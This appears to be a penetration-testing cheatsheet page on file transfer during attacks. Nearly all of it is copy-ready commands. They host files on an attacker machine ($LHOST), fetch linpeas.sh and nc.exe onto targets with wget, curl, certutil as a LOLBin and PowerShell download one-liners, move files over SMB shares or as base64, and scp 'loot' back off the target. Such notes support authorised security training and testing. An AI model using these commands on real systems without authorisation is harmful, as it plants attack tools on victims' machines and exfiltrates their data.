// notes/ Cheatsheets & Payloads
📤
File Transfer — Cheatsheet
Move files on/off targets over HTTP, SMB, base64, certutil, scp.
#file transfer#http#smb#certutil#base64
File Transfer — Cheatsheet
Host a server (attacker side)
Serve the current folder over HTTP on port 80.
🐺 howlsec@kalibash
$python3 -m http.server 80Spin up an SMB share (great for Windows targets).
🐺 howlsec@kalibash
$impacket-smbserver share . -smb2supportLinux download
Pull a file with wget.
🐺 howlsec@kalibash
$wget http://$LHOST/linpeas.sh -O /tmp/lp.shPull a file with curl.
🐺 howlsec@kalibash
$curl http://$LHOST/lp.sh -o /tmp/lp.shWindows download
Download with the built-in certutil (LOLBin).
🐺 howlsec@kalicmd
$certutil -urlcache -f http://%LHOST%/nc.exe nc.exeDownload with PowerShell iwr.
🐺 howlsec@kalicmd
$powershell -c "iwr http://%LHOST%/nc.exe -o nc.exe"Download with the classic WebClient one-liner.
🐺 howlsec@kalicmd
$powershell -c "(New-Object Net.WebClient).DownloadFile('http://%LHOST%/nc.exe','nc.exe')"SMB copy (Windows)
Copy a file straight from your SMB share.
🐺 howlsec@kalicmd
$copy \\%LHOST%\share\file.exe .base64 (no tools available)
Encode a file to base64 on your box.
🐺 howlsec@kalibash
$base64 -w0 fileDecode it back on the target (paste the blob).
🐺 howlsec@kalibash
$echo <b64> | base64 -d > filescp
Copy a file to the target over SSH.
🐺 howlsec@kalibash
$scp file $USER@$IP:/tmp/Copy loot back from the target.
🐺 howlsec@kalibash
$scp $USER@$IP:/tmp/loot.zip .